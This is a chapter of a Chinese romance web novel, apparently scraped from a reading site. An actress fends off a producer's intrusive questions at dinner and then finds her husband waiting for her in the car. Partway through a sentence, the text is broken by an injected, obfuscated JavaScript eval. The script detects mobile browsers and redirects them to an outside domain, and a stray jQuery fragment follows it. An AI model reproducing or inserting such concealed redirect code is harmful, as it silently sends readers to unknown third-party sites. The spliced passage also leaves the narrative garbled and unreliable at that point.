默认冷灰
24号文字
方正启体

38. 揭穿

作者:粟砚宁本书字数:K更新时间:
    纪鹤晚握着勺子的手指微微收紧。她想起贺迟砚,心底某处微微软了一下。


    这不是她第一次被问到这么无礼的问题。


    她掩下无奈,扬起职业化的微笑,语气坚定:“贺制片放心,我先生非常支持我的工作。我也热爱我的事业,绝不会因为结婚就轻言放弃,这点请您绝对放心。”


    她以为自己给出了对方想要的、关于专业度的保证。


    贺知礼闻言,却轻轻笑了一声,那笑声低沉,却让纪鹤晚无端感到一丝寒意。他放下酒杯,身体微微前倾,那双与贺迟砚极为相似的眼眸锐利地看向她,又问出了一个失礼的问题:“那么,反过来呢?你会不会为了事业,选择放弃你的婚姻?”


    纪鹤晚刚送到唇边的手顿住了。


    这个问题太过尖锐,像一把冰冷的刻刀,试图撬开她严密防护的世界。她放下勺子,瓷器接触桌面发出清脆的轻响,像是一种无力的警告。


    她抬起眼,直视贺知礼,目光清亮而疏离,语气平静却带着不容置疑的力量:“贺制片,我认为事业和婚姻并非对立的选择题。它们是人生不同的轨道,我相信用心经营,完全可以并行不悖。这并不是鱼和熊掌的关系,非要抓此放彼,不是吗?”


    虽然她的回答掷地有声,但是她又想起了贺迟砚的爷爷,那个古板的老古董。虽然她和贺迟砚有协议为证,但是如果他那爷爷非要像强迫贺迟砚妈妈一样逼迫她退出娱乐圈,安心在家相夫教子,贺迟砚会站在她身边吗?他是爷爷带大的——怨不得是那个鬼性子——也十分尊重自己的爷爷,几乎是唯命是从……他都能听他爷爷的话在新婚当夜抛下她离开,这事似乎也不会存在什么意外……


    纪鹤晚再次抬眼,目光比刚刚还要坚定,“但如果非要二选一,我会选择事业。”


    “啊…~”贺知礼向后慵懒靠在椅背上,眼里的笑有些不怀好意,“原来是这样。我还以为纪小姐提出减少吻戏,是怕自己的先生吃醋不高兴呢。”


    他说得轻描淡写,但落在纪鹤晚耳朵里就像长了刺一样。她的神色瞬间冷了下来,“贺制片,请您不要这样怀疑我的职业素养。”


    这完全是对她赤/裸/裸的侮辱!


    但这句话,纪鹤晚没有说出口。她很想立马起身离开,给他一个潇洒到冷酷的背影,但很显然,她不行,她也只是一个卑微的打工人而已。


    贺知礼眼底闪过一丝极快的晦暗,随即又恢复了那副温文尔雅的模样,笑了笑,“抱歉,是我唐突了。只是作为制片人,总希望演员能心无旁骛。”


    他举起酒杯小抿一口示以赔罪。纪鹤晚当然不能让他如此,也举起酒杯相陪,不同的是,她是一整杯。


    她并不喜欢喝酒,应酬所需勉强学过,但无论怎么练,撑死就是两杯。似乎是身体里有什么被动机制,不管是什么酒,不管是什么酒杯,超过两杯,哪怕只是多了一小口立马就醉。


    不过好在这顿饭已经到了尾声。


    两人一前一后走出,贺知礼忽然微微侧目睨了纪鹤晚一眼,“我有点好奇,纪小姐已经拿到影后奖杯,自然不缺好资源,怎么会看上这么一个小成本剧呢?而且听说还是你主动找的徐正雅。”


    看似是好奇的疑问,但他的语气却带着点笑,眼睛定定看着她,里面并没有疑惑,就好像答案他心知肚明,只是想听她亲口承认。


    纪鹤晚捏着包包的手紧了一下,不知该作何反应,只笑了笑,“因为我很喜欢原著。”


    “是吗?我还以为……”贺知礼突然止声,又勾起唇角笑了笑,“纪小姐是个聪明人。”


    不是,他们姓贺的,说话都这么奇怪吗?让人云里雾里的。纪鹤晚忍不住在背后白了他一眼,在心里吐槽。


    贺知礼的车一早就在门口等着了,他走出一步,像是才想起什么,回头坦然一笑,“我送你回去吧。”


    “不麻烦贺制片了,”纪鹤晚立刻婉拒,笑容礼貌却疏远,“我的车就快到了。谢谢您的晚餐和……指导。”她刻意略去了“工作”二字。


    贺知礼也不再坚持,点了点头,笑言:“那就明天见了。”


    纪鹤晚下意识回复:“嗯,明天见。”


    说完才想起来,明天剧组不是要停一天工吗?


    再一抬头,贺知礼已经没影了,她呼出一口气,才觉得凝滞的时空开始流动。晚风裹挟着湖水的微潮气息扑面而来,胸口的滞闷感稍稍缓解。一辆熟悉的黑色宾利缓缓滑到她面前,是李盛来了。


    她彻底松了口气,像是逃离了一个令人不适的磁场,拉开车门弯腰便坐了进去。


    却在下一秒,动作彻底僵住。


    车内弥漫着一种她无比熟悉的、清冽而沉稳的雪松香气,丝丝缕缕,霸道地侵占了她所有的感官。


    后座上,并非空无一人。


    贺迟砚正姿态闲适地靠坐在真皮座椅里,膝上摊开着一份文件,修长的手指还停留在纸页上。车内阅读灯柔和的光线勾勒出他冷峻深刻的侧脸轮廓,下颌线绷得有些紧。听到动静,他缓缓抬眸,那双深邃如寒潭的眼睛精准地捕捉到她微红脸上还没来得及收敛的惊愕、细微的慌乱,以及残留的一丝疲惫。


    四目相对,空气仿佛凝滞。


    纪鹤晚的心脏像是被什么东西猛地攥了一下,然后又疯狂地跳动起来。她甚至能清晰地听到自己如擂鼓般的心跳声在密闭的车厢里回荡。


    “你……你怎么会在这里?”她听到自己的声音带着一丝不敢置信的微颤,还有一丝连她自己都未曾察觉的、隐秘的欣喜。


    贺迟砚的目光沉静地落在她脸上,像是审视,又像是某种无声的压迫。他合上文件,声音听不出什么情绪,平淡得像是在陈述一件与己无关的事:“公司这边的事情提前处理完了。”


    “才不是这样。”李盛小声嘀咕,从后视镜里看见纪鹤晚疑惑看他的眼睛,下定决心要帮自家老板一把,哪怕因为明天右脚先踏进公司门被开除都在所不惜!更何况他家老板也不会这么狠心。


    “夫人你不知道,是这样的……”


    “李盛!”


    阴冷威胁的语气吓得李盛一哆嗦。


    他怕,但是有不怕的人。


    “不要说话!”纪鹤晚不悦地瞪着贺迟砚,“打断别人说话是很没有礼貌的,幼儿园老师难道没有教过你吗?”


    她没再说什么威胁的话,贺迟砚的表情虽然没有什么变化,甚至更加阴沉,但她知道他不会再出声。如此坚定,真是奇怪。


    “李盛,你继续说。”


    得了保票,李盛说话的声音更加有底气,在安静的车内每一个字都十分清晰:“因为贺总工作很忙,我怕夫人来时,贺总还在处理工作,于是就告诉贺总,夫人会在收工之后来公司看他。贺总听见之后非常开心,脸上的笑都掩不住了……”


    “我没有!你再胡说八道!”


    怕惹她生气,贺迟砚原本打算闭上嘴巴,无论李盛说什么都不插嘴,可是他说得实在太过离谱,他才没有这么傻!


    他原本还要说,但耳畔却传来一声极其不悦的“啧”声,他转过头看见她蹙起的眉头,抿起的嘴唇,底气忽然烟消云散。


    “抱歉,我不说话了。”


    他侧身靠在车窗上,脸颊诡异地


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448388|185201||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    泛起了红。就因为这点小气,就把他脸气红了?他气量未免也太小了吧。


    李盛悄悄抬眼,见事态轻易平息,咽了口唾沫,“贺总,当时褚总也在,你可以问他是不是。”


    没有得到回答,他壮着胆子接着又说了下去:“总之,贺总从三点开始就时不时地站在落地窗前朝下张望,我们都知道他是在等您。一直怀揣着期待等到七点,然后您说,有事不来时,贺总肉眼可见的失落了。公司的事务根本就没有处理完,他只是想……”


    “我只是想……想和你一起吃晚饭而已。”贺迟砚又忘了自己说的话,急切地打断李盛,固执地遮掩已经要拨开云雾的秘密,“但看样子,你好像已经吃过了?”


    他微微停顿了一下,那双锐利的眼睛似乎不经意地扫过她刚刚离开的餐厅方向,语气依旧平淡,却莫名地让纪鹤晚感到一阵心虚。


    她看着耳根泛红的贺迟砚,突然想到了那只小狐狸——她最讨厌的小狐狸——她一直都不明白,为什么她会讨厌一个被那么多人同情、喜欢的角色,此刻才后知后觉,或许是因为她从中窥见了自己。


    它是一个悲剧角色。她不喜欢。


    她转头,看似将视线从贺迟砚身上移开了,但其实目光一直静静注视着车窗上他的侧脸。看着看着就模糊了,那酒似乎有后劲,脑袋开始变得昏昏沉沉的。她打开一点车窗,凉风拂面而过,脑子清醒了过来。


    “制片人突然说要一起吃的,谈谈后续的拍摄,我不好推辞。”她省略了那些令人不适的对话,只简略地带过前因后果。


    车窗上,贺迟砚转过脸,好看的眉毛皱了起来,“喝酒了?”


    他长得真的很好看,就算皱起眉头也好看得不得了。


    “没喝多,我有谱。”说完,纪鹤晚坐直身子,离贺迟砚近了点,突然伸出手指,分别点了下他的眉毛、眼睛、鼻子和嘴巴,口中相应报出名字,而后得意地挑了下眉头,“看吧,没醉,意识非常之清醒。”


    贺迟砚只觉得被她触碰的地方像是生了火,火辣辣的,又暖又疼。尤其是被她现在还触碰的唇,不知道她有没有意识到,她在轻轻摩挲,有没有意识到她迷离的眼睛一直定格在他的唇上。


    好想……真的好想……真的快要疯了……


    他猛地闭眼,握住她的手腕,重重吞咽一下,再次睁开时,眼睛已恢复平静。他拿下她的手,放在自己的腿上,不轻不重地捏了下。


    “我没说你喝醉了。”声音突然变得喑哑。


    纪鹤晚抽出手,轻轻按了按自己其实并没填饱多少、甚至因为紧张而有些抽紧的胃部,声音里带上了一点连她自己都没意识到的、细微的依赖和抱怨:“我其实根本没吃什么。那个制片人可吓人了,长得像个老虎一样,而且那个餐厅的东西不好吃,不过那个焦糖布丁还不错。”


    她抬起眼,望进他那双深不见底的眼眸,像是寻求认同一般,小声提议:“家里冰箱里还有好多食材呢,我们回家吃吧?”


    车内安静了一瞬。


    贺迟砚凝视着她。看着她微微蹙起的眉头,看着她按在胃部的手,看着她那双因为些许委屈和期待而显得更加明亮的眼睛,脸上那种冰冷的、紧绷的线条,以肉眼可见的速度缓缓融化、松弛下来。


    眼底那丝难以察觉的寒冰悄然消散,被一种极为柔软的、几乎可以称为“温柔”的东西所取代。他的唇角几不可见地向上弯起一个极小的弧度,虽然浅淡,却足以驱散所有冷凝的气氛。


    他低沉而富有磁性的声音在车厢内响起,只有一个字,却仿佛承载了千言万语般的纵容和暖意:“好。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)